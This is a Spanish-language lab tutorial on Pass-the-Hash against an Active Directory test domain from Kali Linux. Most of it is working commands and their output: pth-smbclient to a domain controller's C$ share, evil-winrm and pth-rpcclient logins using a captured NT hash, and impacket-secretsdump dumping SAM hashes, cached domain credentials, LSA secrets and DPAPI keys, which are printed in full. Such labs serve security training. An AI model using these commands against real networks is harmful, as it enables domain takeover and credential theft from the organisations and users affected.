Pass-The-Hash con Linux
Si queremos realizar lo mismo de antes, pero desde linux
lo haremos con una herramienta que viene por defecto en kali
, suponiendo que tenemos ya el hash
del administrador
o de cualquier tipo de usuario con el que queremos realizar ese pth
, haremos lo siguiente:
pth-smbclient //192.168.5.5/c$ -U Administrator --pw-nt-hash a87f3a337d73085c45f9416be5787d86 -W corp.local
Info:
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Sat May 8 04:20:24 2021
Documents and Settings DHSrn 0 Sun Jan 5 05:22:02 2025
DumpStack.log.tmp AHS 12288 Tue Jan 21 03:14:12 2025
pagefile.sys AHS 536870912 Tue Jan 21 03:14:12 2025
PerfLogs D 0 Sat May 8 04:20:24 2021
Program Files DR 0 Sun Jan 5 05:28:08 2025
Program Files (x86) D 0 Sat May 8 05:39:35 2021
ProgramData DHn 0 Sat Jan 11 10:12:12 2025
Recovery DHSn 0 Sun Jan 5 05:22:02 2025
Shares D 0 Mon Jan 6 07:06:47 2025
System Volume Information DHS 0 Sun Jan 5 06:12:17 2025
Users DR 0 Sun Jan 5 05:28:05 2025
Windows D 0 Tue Jan 7 14:12:54 2025
15644159 blocks of size 4096. 12751911 blocks available
Vemos que hemos conseguido conectarnos al DC
en el recurso compartido del C$
como el administrador
por lo que tendriamos acceso al DC
desde kali
como el usuario Administrador
del dominio.
Esto mismo tambien lo podemos realizar mediante el protocolo WinRM
(Protocolo de gestion remota, que suele estar activo en casi todas las infraestructuras de empresas de Active Directory
), para ello antes activaremos este mismo protocolo en nuestra maquina Windows
para que este activo y configurado con un comando, por lo que nos iremos a nuestro WS01
, abriremos una PowerShell
como administrador
local y ejecutaremos lo siguiente:
winrm quickconfig
Info:
WinRM no está configurado para recibir solicitudes en este equipo.
Se deben realizar estos cambios:
Inicie el servicio WinRM.
Establezca el tipo de servicio WinRM en inicio automático aplazado.
¿Desea realizar estos cambios [y/n]? y
WinRM se ha actualizado para recibir solicitudes.
Se cambió el tipo de servicio WinRM correctamente.
Servicio WinRM iniciado.
WinRM no está configurado para permitir acceso remoto al equipo para administración.
Se deben realizar estos cambios:
Habilitar la excepción de firewall WinRM.
¿Desea realizar estos cambios [y/n]? y
WinRM se actualizó para administración remota.
Excepción de firewall WinRM habilitada.
Y con esto ya tendriamos nuestro WinRM
activado correctamente.
Ahora si nos vamos al kali
y utilizamos una herramienta muy famosa llamada evil-winrm
que no vendra por defecto en kali
, podremos acceder de forma remota para gestionar un equipo mediante el protocolo evil-winrm
, vamos a instalar la herramienta antes de todo.
sudo gem install evil-winrm
Y con esto ya tendriamos instalada la herramienta.
Vamos a probar a entrar en el equipo WS01
de forma remota como el usuario Administrador
de la siguiente forma:
evil-winrm -i 192.168.5.208 -u Administrator -p Passw0rd
Info:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Y con esto veremos que funciona correctamente, por lo que nos podemos conectar a dicho equipo.
Pero como nosotros no tenemos la contraseña, solo tenemos el hash
del Administrador
podremos hacer un pth
con winrm
de la siguiente forma:
evil-winrm -i 192.168.5.208 -u Administrator -H a87f3a337d73085c45f9416be5787d86
Info:
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
corp\administrator
Y con esto veremos que con el hash
tambien nos dejo entrar.
Con la herramienta impacket
se puede hacer lo mismo, con el hash
podremos autenticarnos como el administrador
para realizar cosas como el mismo.
impacket-secretsdump Administrator@192.168.5.208 -hashes :a87f3a337d73085c45f9416be5787d86
Hay que indicarselo con un formato especial para la herramienta poniendo los :
por delante del hash
.
Info:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xc8125866b327df176940c9f2d6a48f5f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5ed544e71abe56b376b7993b21946520:::
santiago:1001:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.LOCAL/empleado1:$DCC2$10240#empleado1#fda53d6158406f827388476bcbc97c37: (2025-01-20 09:22:18)
CORP.LOCAL/Administrator:$DCC2$10240#Administrator#e1c8d7e26653ae629a74772a389cf7e6: (2025-01-20 09:23:12)
CORP.LOCAL/annice.mable:$DCC2$10240#annice.mable#77702054bffe13f7c5bbe919a228d985: (2025-01-12 11:36:13)
CORP.LOCAL/angelika.shelly:$DCC2$10240#angelika.shelly#835512d4e4bb1d962c57d290eb99f670: (2025-01-12 16:51:40)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
CORP\WS01$:aes256-cts-hmac-sha1-96:9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
CORP\WS01$:aes128-cts-hmac-sha1-96:73670fc7a88720c24ff4c869dc84a9c1
CORP\WS01$:des-cbc-md5:8c5bea107cc8c804
CORP\WS01$:plain_password_hex:5700320055006b0049004e0027003d005e0055005c00750052004c0077006e004e00510045003c002d0066005d004b005f007600330072004400350022002700750068004e00300041003d0024006c004e0022005700750065006b00640034004a0056006f003e006c005f006c0050005c005d002700360077002c00290033005e005d004f005e005100560027002e003200380029004f0078005100410049002c003a0025005f00680072005d00380034002500490068002200640045006f0072005c0063002d0022005f002f006f0065006700720022005f0061006c00780047006400590062007700770059005f00
CORP\WS01$:aad3b435b51404eeaad3b435b51404ee:afc5c02d936d73808ce716070e883ab8:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6be6aee6bc489e7fab1ed9a63b1aa5c0d2f13fef
dpapi_userkey:0xb83f8122ee552579d8fbf4d9b304ae19ab5bb7af
[*] NL$KM
0000 5C B5 3B 8C D5 28 A0 C3 6A F2 57 A3 08 B6 F7 D4 \.;..(..j.W.....
0010 E4 7D 11 84 8F 2C 98 2B 2D DD 06 7D 30 53 B4 23 .}...,.+-..}0S.#
0020 4B 8D C7 7E 92 96 5B 48 67 29 99 50 C1 E4 27 A6 K..~..[Hg).P..'.
0030 37 2C 9D 99 E8 FD 57 11 CC 44 47 ED 30 6F 96 00 7,....W..DG.0o..
NL$KM:5cb53b8cd528a0c36af257a308b6f7d4e47d11848f2c982b2ddd067d3053b4234b8dc77e92965b4867299950c1e427a6372c9d99e8fd5711cc4447ed306f9600
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
Y vemos que nos vuelva bien la SAM
como el usuario Administrador
.
Mediante el rpcclient
tambien podremos realizar este pth
de la siguiente forma:
pth-rpcclient -U corp/administrator%00000000000000000000000000000000:a87f3a337d73085c45f9416be5787d86 //192.168.5.208
En este caso como tiene que tener un formato en concreto el hash
pero el nuestro es un hash
simple tendremos que rellenarlo con 32
ceros por delante y despues de los :
poner el hash
del administrador
.
Info:
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
rpcclient $>
Y aqui podremos ver que hemos accedido de forma correcta mediante el protocolo rpcclient
haciendo un pth
.
Last updated